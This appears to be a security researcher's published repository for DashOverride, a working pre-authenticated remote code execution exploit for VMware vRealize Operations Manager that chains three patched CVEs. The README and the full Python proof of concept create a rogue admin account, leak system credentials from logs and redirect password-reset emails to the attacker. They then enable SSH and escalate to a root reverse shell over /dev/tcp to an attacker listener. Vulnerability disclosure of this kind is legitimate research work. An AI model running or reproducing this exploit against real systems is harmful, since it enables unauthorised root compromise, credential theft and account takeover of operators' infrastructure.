├── APUAT-8.5.0.18176777.pak ├── LICENSE ├── README.md ├── poc.gif ├── poc.png └── poc.py /APUAT-8.5.0.18176777.pak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/DashOverride/573faa06bc4e4d3af3c1d6fd302bd29338bc7c03/APUAT-8.5.0.18176777.pak -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Source Incite 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DashOverride 2 | 3 | ## What 4 | 5 | This is a pre-authenticated RCE exploit for VMware vRealize Operations Manager (vROPS) that impacts versions <= 8.6.3.19682901. 6 | 7 | ## Author 8 | 9 | Steven Seeley of Qihoo 360 Vulnerability Research Institute 10 | 11 | ## Tested 12 | 13 | The exploit was tested against 8.6.3.19682901 using the file `vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova` (SHA1: 4637b6385db4fbee6b1150605087197f8d03ba00) but it has known to work against other older versions as well. 14 | 15 | ## Notes 16 | 17 | - This exploit chains three vulnerabilities that have been [patched](https://www.vmware.com/security/advisories/VMSA-2022-0022.html). More details can be found in the [blog post](https://srcincite.io/blog/2022/08/09/from-shared-dash-to-root-bash-pre-authenticated-rce-in-vmware-vrealize-operations-manager.html): 18 | 19 | - [CVE-2022-31675 - MainPortalFilter ui Authentication Bypass](https://srcincite.io/advisories/src-2022-0015/) 20 | - [CVE-2022-31674 - SupportLogAction Information Disclosure](https://srcincite.io/advisories/src-2022-0016/) 21 | - [CVE-2022-31672 - generateSupportBundle VCOPS_BASE Privilege Escalation](https://srcincite.io/advisories/src-2022-0017/) 22 | 23 | - This exploit will require the attacker to supply: 24 | 25 | - A valid dashboardlink token that will be used to bypass authentication. 26 | - Their own SMTP server settings, this is to ensure that exploitation works. 27 | - A valid Pak file that is signed by VMWare such as `APUAT-8.5.0.18176777.pak`. 28 | 29 | - There is alot of moving parts to this exploit, hopefully I engineered it right so it works on the first shot. 30 | - The exploit takes on average ~1m34.142s to complete (tested 5 times), I tried to engineer this to be faster, but it's within an allocated time for a competition ;-> 31 | 32 | ## Run 33 | 34 | ``` 35 | researcher@mars:~$ ./poc.py 36 | (+) usage: ./poc.py 37 | (+) eg: ./poc.py 192.168.2.196 192.168.2.234 uuncuybis9 38 | ``` 39 | 40 | ## Example 41 | 42 | ![Running DashOverride](/poc.gif) 43 | -------------------------------------------------------------------------------- /poc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/DashOverride/573faa06bc4e4d3af3c1d6fd302bd29338bc7c03/poc.gif -------------------------------------------------------------------------------- /poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/DashOverride/573faa06bc4e4d3af3c1d6fd302bd29338bc7c03/poc.png -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | # VMware vRealize Operations Manager Remote Code Execution Exploit 4 | 5 | ## Found by 6 | 7 | Steven Seeley of Qihoo 360 Vulnerability Research Institute 8 | 9 | ## Tested versions 10 | 11 | 1. 12 | 13 | 8.6.3.19682901 (latest at the time) 14 | File: vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova 15 | SHA1: 4637b6385db4fbee6b1150605087197f8d03ba00 16 | 17 | 2. 18 | 19 | 8.6.2.19081814 20 | File: vRealize-Operations-Manager-Appliance-8.6.2.19081814_OVF10.ova 21 | SHA1: 0363f4304e4661dde0607a3d22b4fb149d8a10a4 22 | 23 | ## Notes 24 | 25 | - This exploit will require the attacker to supply: 26 | 27 | 1. A valid dashboardlink token that will be used to bypass authentication. 28 | 2. Their own SMTP server settings, this is to ensure that exploitation works. 29 | 3. A valid Pak file that is signed by VMWare such as `APUAT-8.5.0.18176777.pak`. 30 | 31 | - There is alot of moving parts to this exploit, hopefully I engineered it right so it works on the first shot. 32 | - The exploit takes on average ~1m34.142s to complete (tested 5 times), I tried to engineer this to be faster, but it's within an allocated time for a competition ;-> 33 | 34 | ## Example 35 | 36 | ``` 37 | researcher@mars:~$ ./poc.py 38 | (+) usage: ./poc.py 39 | (+) eg: ./poc.py 192.168.2.196 192.168.2.234 uuncuybis9 40 | 41 | researcher@mars:~$ ./poc.py 192.168.2.196 192.168.2.234 uuncuybis9 42 | (+) detected version: 8.6.3.19682901 43 | (+) bypassing authentication with the dashboardlink... 44 | (+) created an admin account: hacker:P@ssw0rd# 45 | (+) logged in to /ui/ using 6E931F2DFFCF66CDB9F22072F305197A 46 | (+) obtained csrf token d75a61ff-6c0c-4534-b1f8-a0b7abf57bb5 47 | (+) uploaded the pak file APUAT-85018176777 48 | (+) triggered the update 49 | (+) obtained instance_id: db83c9ea-ec75-4819-80ff-d8f11e923785 50 | (+) obtained ldu_id: test 51 | (+) leaked system account: bWFpbnRlbmFuY2VBZG1pbjpSQUNORitDUnM4blg4amRqUlFTRDFGcEM= 52 | (+) set the smtp settings to ensure email works 53 | (+) enabled ssh access 54 | (+) set admin email to steven@srcincite.io 55 | (+) requested admin password reset... 56 | (+) got reset key QXCGeSLuVOsNYcpKGgvCauznA47aLj3T 57 | (+) reset system user to admin:YHzFHDWeDd#1337 58 | (+) starting handler on port 1337 59 | (+) connection from 192.168.2.196 60 | (+) pop thy shell! 61 | bash: cannot set terminal process group (30290): Inappropriate ioctl for device 62 | bash: no job control in this shell 63 | root@photon-machine [ ~ ]# id 64 | id 65 | uid=0(root) gid=0(root) groups=0(root),28(wheel),1000(vami) 66 | root@photon-machine [ ~ ]# uname -a 67 | uname -a 68 | Linux photon-machine 4.19.232-4.ph3 #1-photon SMP Wed Apr 6 02:20:55 UTC 2022 x86_64 GNU/Linux 69 | root@photon-machine [ ~ ]# 70 | ``` 71 | """ 72 | import io 73 | import re 74 | import sys 75 | import json 76 | import time 77 | import socket 78 | import random 79 | import string 80 | import urllib3 81 | import imaplib 82 | import paramiko 83 | import requests 84 | from base64 import b64encode 85 | from telnetlib import Telnet 86 | from threading import Thread 87 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 88 | 89 | # update these for yourself 90 | SMTP_USR = "steven@srcincite.io" 91 | SMTP_PWD = "XXXXXXXXXXXXXXXXXXX" 92 | SMTP_SVR = "mail.YYYYYYYYYY.net" 93 | SMTP_PRT = 587 94 | SMTP_TLS = True 95 | SMTP_SSL = False 96 | 97 | def grab_token(target, creds, h): 98 | uri = f"https://{target}/suite-api/api/auth/token/acquire" 99 | r = requests.post(uri, json = { 100 | "username": creds.split(":")[0], 101 | "password": creds.split(":")[1] 102 | }, verify=False, headers=h) 103 | assert r.status_code == 200 and r.headers['content-type'] == "application/json;charset=UTF-8", "(-) unexpected response from acquiring token" 104 | return r.json()["token"] 105 | 106 | def leak_ids(target, cookie, csrf): 107 | uri = f"https://{target}/ui/supportLogs.action" 108 | d = { 109 | "mainAction" : "getLogTree", 110 | "lduId" : "vRealizeClusterNode", 111 | "groupBy" : "", 112 | "node" : "source", 113 | "secureToken": csrf 114 | } 115 | r = requests.post(uri, data=d, cookies=cookie, verify=False) 116 | assert r.headers["Content-Type"] == "application/json;charset=UTF-8", "(-) failed to leak the instanceId!" 117 | if len(r.json()["children"]) > 0: 118 | if len(r.json()["children"][0]["children"]) > 0: 119 | for node in r.json()["children"][0]["children"]: 120 | if node["logType"] == "OTHER": 121 | return [node["instanceId"], node["lduId"]] 122 | raise ValueError("(-) failed to find the target instanceId!") 123 | 124 | def reset_admin_pwd(target, reset_key): 125 | uri = f"https://{target}/admin/newPass.action" 126 | pwd = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(10)) 127 | pwd += "#1337" 128 | d = { 129 | "mainAction" : "verifyTokenPass", 130 | "userName" : "admin", 131 | "newPassword" : pwd, 132 | "languageCode" : "us", 133 | "secureToken" : reset_key 134 | } 135 | r = requests.post(uri, data=d, verify=False) 136 | assert r.status_code == 200, "(-) unable to reset admin password" 137 | return pwd 138 | 139 | def send_reset_token(target): 140 | uri = f"https://{target}/admin/emailLink.action" 141 | d = { 142 | "mainAction" : "sendMail", 143 | "userName" : "admin", 144 | "userEmail" : SMTP_USR, 145 | "languageCode" : "us", 146 | } 147 | r = requests.post(uri, data=d, verify=False) 148 | assert r.status_code == 200 and r.text == "ok", "(-) unable to send admin password reset request" 149 | 150 | def enable_ssh(target, h): 151 | # a borrowed tekniq from ptswarm 152 | uri = f"https://{target}/casa/ssh/enable" 153 | r = requests.post(uri, verify=False, headers=h) 154 | assert r.status_code == 200 and r.headers["Content-Type"] == "application/json;charset=UTF-8", "(-) unexpected response to enable ssh" 155 | assert r.json()["is_ssh_enabled"] == True, "(-) unable to enable ssh" 156 | 157 | # vuln 1 - authentication bypass 158 | def create_admin(target, tkn): 159 | perms = [] 160 | usr = "hacker" 161 | pwd = "P@ssw0rd#" 162 | roles = ["Administrator", "AgentManager", "ContentAdmin", "PowerUser", "PowerUserMinusRemediation", "ReadOnly"] 163 | for i in range(1,5): 164 | roles.append(f"GeneralUser-{i}") 165 | for role in roles: 166 | perms.append({ 167 | "roleName": role, 168 | "traversalSpecs": [], 169 | "allowAllResources": True 170 | }) 171 | p = { 172 | "t" : tkn, # auth bypass 173 | "mainAction" : "createUser" 174 | } 175 | uri = f"https://{target}/ui/userManagement.action" 176 | d = { 177 | "username" : usr, 178 | "password" : pwd, 179 | "groupIds": "[]", 180 | "permissionControl": json.dumps(perms), 181 | } 182 | r = requests.post(uri, data=d, params=p, verify=False, allow_redirects=False) 183 | assert r.status_code == 302, "(-) authentication bypass failed, check your dashboardlink token" 184 | assert r.headers['location'] == "dashboardViewer.action?mainAction=dr", "(-) unexpected redirect, check your dashboardlink token" 185 | return [usr, pwd] 186 | 187 | # vuln 2 - leak privileged credentials 188 | def leak_creds(target, cookie, csrf, instance_id, ldu_id, pakid): 189 | uri = f"https://{target}/ui/supportLogs.action" 190 | d = { 191 | "mainAction" : "getLogFileContents", 192 | "instanceId" : instance_id, 193 | "lduId" : ldu_id, 194 | "logType" : "OTHER", 195 | "fileName" : f"pakManager/{pakid}/apply_system_update_stderr.log", 196 | "lineLimit": 2000, 197 | "linePosition" : 1, # just to be on the safe side 198 | "secureToken": csrf 199 | } 200 | r = requests.post(uri, data=d, cookies=cookie, verify=False) 201 | assert r.headers["Content-Type"] == "application/json;charset=UTF-8", "(-) failed to leak the credentials from the log!" 202 | if "fileContent" not in r.json(): 203 | return None 204 | for line in r.json()["fileContent"]: 205 | m = re.search("'Authorization': 'Basic (.*)'}", line) 206 | if m: 207 | return m.group(1) 208 | return None 209 | 210 | # vuln 3 - elevate privileges to root 211 | def reverse_root_shell(rhost, rport): 212 | d = ''.join(random.choice(string.ascii_lowercase) for i in range(6)) 213 | return b64encode(str.encode(f"""#!/bin/sh 214 | mkdir -p {d} 215 | mkdir -p vmware-vcopssuite/utilities/bin/ 216 | cat < vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh 217 | #!/bin/sh 218 | rm -rf {d} 219 | rm -rf vmware-vcopssuite 220 | bash -c "bash -i >& /dev/tcp/{rhost}/{rport} 0>&1" 221 | EOT 222 | chmod 755 vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh 223 | sudo VCOPS_BASE={d} /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py test > /dev/null 2>&1""")).decode() 224 | 225 | def login(target, interface, creds): 226 | d = { 227 | "mainAction" : "login", 228 | "userName" : creds[0], 229 | "password" : creds[1], 230 | "authSourceType" : "" 231 | } 232 | r = requests.post(f"https://{target}/{interface}/login.action", data=d, verify=False, allow_redirects=False) 233 | assert "Set-Cookie" in r.headers and r.text == "ok", "(-) failed to login with the newly created account!" 234 | m = re.search("JSESSIONID=(.{32});", r.headers["set-cookie"]) 235 | assert m, "(-) failed to find a match on a JSESSIONID!" 236 | return m.group(1) 237 | 238 | def grab_csrf(target, interface, cookie): 239 | uri = f"https://{target}/{interface}/commonJS.action" 240 | p = { 241 | "mainAction":"getApplicationGlobalData" 242 | } 243 | r = requests.get(uri, params=p, cookies=cookie, verify=False) 244 | assert r.headers["Content-Type"] == "application/json;charset=UTF-8", "(-) unexpected content type when requesting the csrf token!" 245 | return r.json()["secureToken"] 246 | 247 | def upload_pak(target, cookie, csrf): 248 | uri = f"https://{target}/ui/admin/services/solution/upload" 249 | p = { 250 | "uploadId": 123, 251 | "secureToken" : csrf 252 | } 253 | # we need to use a valid pak file so that we can trigger the reinstall 254 | content = open("APUAT-8.5.0.18176777.pak", "rb").read() 255 | f = { 256 | "solution": ('APUAT-8.5.0.18176777.pak', content, 'application/octet-stream'), 257 | "forceUpload": (None, True), 258 | "forceContent": (None, True) 259 | } 260 | r = requests.post(uri, params=p, files=f, cookies=cookie, verify=False) 261 | assert r.headers["Content-Type"] == "text/plain;charset=utf-8", "(-) failed to upload the pak file!" 262 | return r.json()["pakId"] 263 | 264 | def trigger_update(target, cookie, csrf, pakid): 265 | # this triggers the writing to the log file 266 | uri = f"https://{target}/ui/solution.action" 267 | p = { 268 | "mainAction" : "reinstall", 269 | "forceContentUpdate" : True, 270 | "pakId" : pakid, 271 | "secureToken" : csrf 272 | } 273 | r = requests.get(uri, params=p, cookies=cookie, verify=False) 274 | assert r.headers["Content-Type"] == "application/json;charset=UTF-8", "(-) failed to trigger re-install!" 275 | 276 | def set_admin_email(target, h): 277 | uri = f"https://{target}/casa/cluster/security/email" 278 | r = requests.put(uri, json={ 279 | "name": "admin", 280 | "address" : SMTP_USR 281 | }, headers=h, verify=False) 282 | assert r.status_code == 200, "(-) failed to set the admin email address!" 283 | 284 | def set_smtp_settings(target, h): 285 | uri = f"https://{target}/casa/cluster/security/smtp" 286 | e_type = "TLS" if SMTP_TLS else "SSL" 287 | e_enabled = True if SMTP_TLS or SMTP_SSL else False 288 | j = { 289 | "host": SMTP_SVR, 290 | "port": SMTP_PRT, 291 | "encryptionEnabled": e_enabled, 292 | "encryptionType": e_type, 293 | "username": SMTP_USR, 294 | "password": SMTP_PWD, 295 | "email":{ 296 | "name": SMTP_USR, 297 | "address": SMTP_USR 298 | }, 299 | # I assume you hackers use password authentication on your email 300 | "authenticationEnabled": True, 301 | "passwordSpecified": True 302 | } 303 | r = requests.put(uri, json=j, headers=h, verify=False) 304 | assert r.status_code == 200, "(-) unable to set the smtp settings!" 305 | 306 | def handler(lp): 307 | print(f"(+) starting handler on port {lp}") 308 | t = Telnet() 309 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 310 | s.bind(("0.0.0.0", lp)) 311 | s.listen(1) 312 | conn, addr = s.accept() 313 | print(f"(+) connection from {addr[0]}") 314 | t.sock = conn 315 | print("(+) pop thy shell!") 316 | t.interact() 317 | 318 | def login_email(): 319 | imap = imaplib.IMAP4_SSL(SMTP_SVR) 320 | imap.login(SMTP_USR, SMTP_PWD) 321 | return imap 322 | 323 | def get_key_from_email(imap): 324 | status, messages = imap.select("INBOX") 325 | latest_email_id = int(messages[0]) 326 | result, data = imap.search(None, '(SUBJECT "vRealize Operations Admin Password Reset")' ) 327 | ids = data[0] 328 | id_list = ids.split() 329 | if len(id_list) == 0: 330 | return None 331 | searched_id = int(id_list[-1]) 332 | if searched_id == latest_email_id: 333 | result, data = imap.fetch(str(latest_email_id), "(RFC822)") 334 | match = re.search(b"vfpt.action#(.*)=\\r\\n(.*)\" class=3D", data[0][1]) 335 | key = (match.group(1) + match.group(2)).decode("utf-8") 336 | return key 337 | return None 338 | 339 | def get_version(target): 340 | uri = f"https://{target}/ui/login.action" 341 | r = requests.get(uri, verify=False) 342 | m = re.search("SessionProvider.js\?version=([.\d]*)\"", r.text) 343 | assert m, "(-) failed to find version! Are you even targeting the right thing?" 344 | return m.group(1) 345 | 346 | def main(): 347 | if len(sys.argv) != 4: 348 | print(f"(+) usage: {sys.argv[0]} ") 349 | print(f"(+) eg: {sys.argv[0]} 192.168.2.196 192.168.2.234 uuncuybis9") 350 | sys.exit(1) 351 | target = sys.argv[1] 352 | rhost = sys.argv[2] 353 | rport = 1337 354 | token = sys.argv[3] 355 | if ":" in sys.argv[2]: 356 | rhost = sys.argv[2].split(":")[0] 357 | assert sys.argv[2].split(":")[1].isnumeric(), "(-) port must be a valid integer" 358 | rport = int(sys.argv[2].split(":")[1]) 359 | 360 | # version 8.6.3.19682901 and 8.6.2.19081814 confirmed vulnerable 361 | ver = get_version(target) 362 | print(f"(+) detected version: {ver}") 363 | 364 | # Stage 1 - Authentication bypass 365 | print("(+) bypassing authentication with the dashboardlink...") 366 | # 1. Create a (non system) admin user 367 | creds = create_admin(target, token) 368 | print(f"(+) created an admin account: {creds[0]}:{creds[1]}") 369 | # 2. Login to the system with the new account 370 | sid = login(target, "ui", creds) 371 | cookie = {"JSESSIONID" : sid} 372 | print(f"(+) logged in to /ui/ using {sid}") 373 | # 3. Obtain the csrf token for the ui interface 374 | csrf = grab_csrf(target, "ui", cookie) 375 | print(f"(+) obtained csrf token {csrf}") 376 | 377 | # Stage 2 - Leak credentials for an in application eop 378 | # 4. Upload a valid update file 379 | pakid = upload_pak(target, cookie, csrf) 380 | print(f"(+) uploaded the pak file {pakid}") 381 | # 5. Trigger the installation of the update 382 | trigger_update(target, cookie, csrf, pakid) 383 | print("(+) triggered the update") 384 | # 6. Obtain a valid instanceId and lduId 385 | instance_id, ldu_id = leak_ids(target, cookie, csrf) 386 | print(f"(+) obtained instance_id: {instance_id}") 387 | print(f"(+) obtained ldu_id: {ldu_id} ") 388 | leaked_creds = None 389 | # 7. Leak the maintenanceAdmin account 390 | while leaked_creds == None: 391 | leaked_creds = leak_creds(target, cookie, csrf, instance_id, ldu_id, pakid) 392 | time.sleep(0.5) 393 | print(f"(+) leaked system account: {leaked_creds}") 394 | 395 | # Stage 3 - now we go ahead and reset the admin password and enable SSH using casa api 396 | h = {"authorization": f"Basic {leaked_creds}"} 397 | # 8. Set the targets SMTP settings so that we can be sure that outgoing emails work 398 | set_smtp_settings(target, h) 399 | print("(+) set the smtp settings to ensure email works") 400 | # 9. Enable ssh if we want to gain rce (I couldn't find any other bug for rce, well done!) 401 | enable_ssh(target, h) 402 | print("(+) enabled ssh access") 403 | # 10. Set the admin email address to the attackers email address 404 | set_admin_email(target, h) 405 | print(f"(+) set admin email to {SMTP_USR}") 406 | # 11. Request a password reset for the admin user which is delivered to the attackers inbox 407 | send_reset_token(target) 408 | print(f"(+) requested admin password reset...") 409 | # 12. Find the password reset email and extract the reset token 410 | reset_key = None 411 | imap = login_email() 412 | while reset_key == None: 413 | reset_key = get_key_from_email(imap) 414 | time.sleep(0.5) 415 | print(f"(+) got reset key {reset_key}") 416 | # 13. Reset the admin password 417 | pwd = reset_admin_pwd(target, reset_key) 418 | print(f"(+) reset system user to admin:{pwd}") 419 | 420 | # Stage 4 - Gain RCE as root 421 | # 14. Setup our listener 422 | handlerthr = Thread(target=handler, args=[rport]) 423 | handlerthr.start() 424 | # 15. trigger root shell 425 | ssh = paramiko.SSHClient() 426 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 427 | ssh.connect(target, username="admin", password=pwd) 428 | ssh.exec_command(f"echo {reverse_root_shell(rhost, rport)}|base64 -d|bash") 429 | ssh.close() 430 | 431 | if __name__ == "__main__": 432 | main() 433 | --------------------------------------------------------------------------------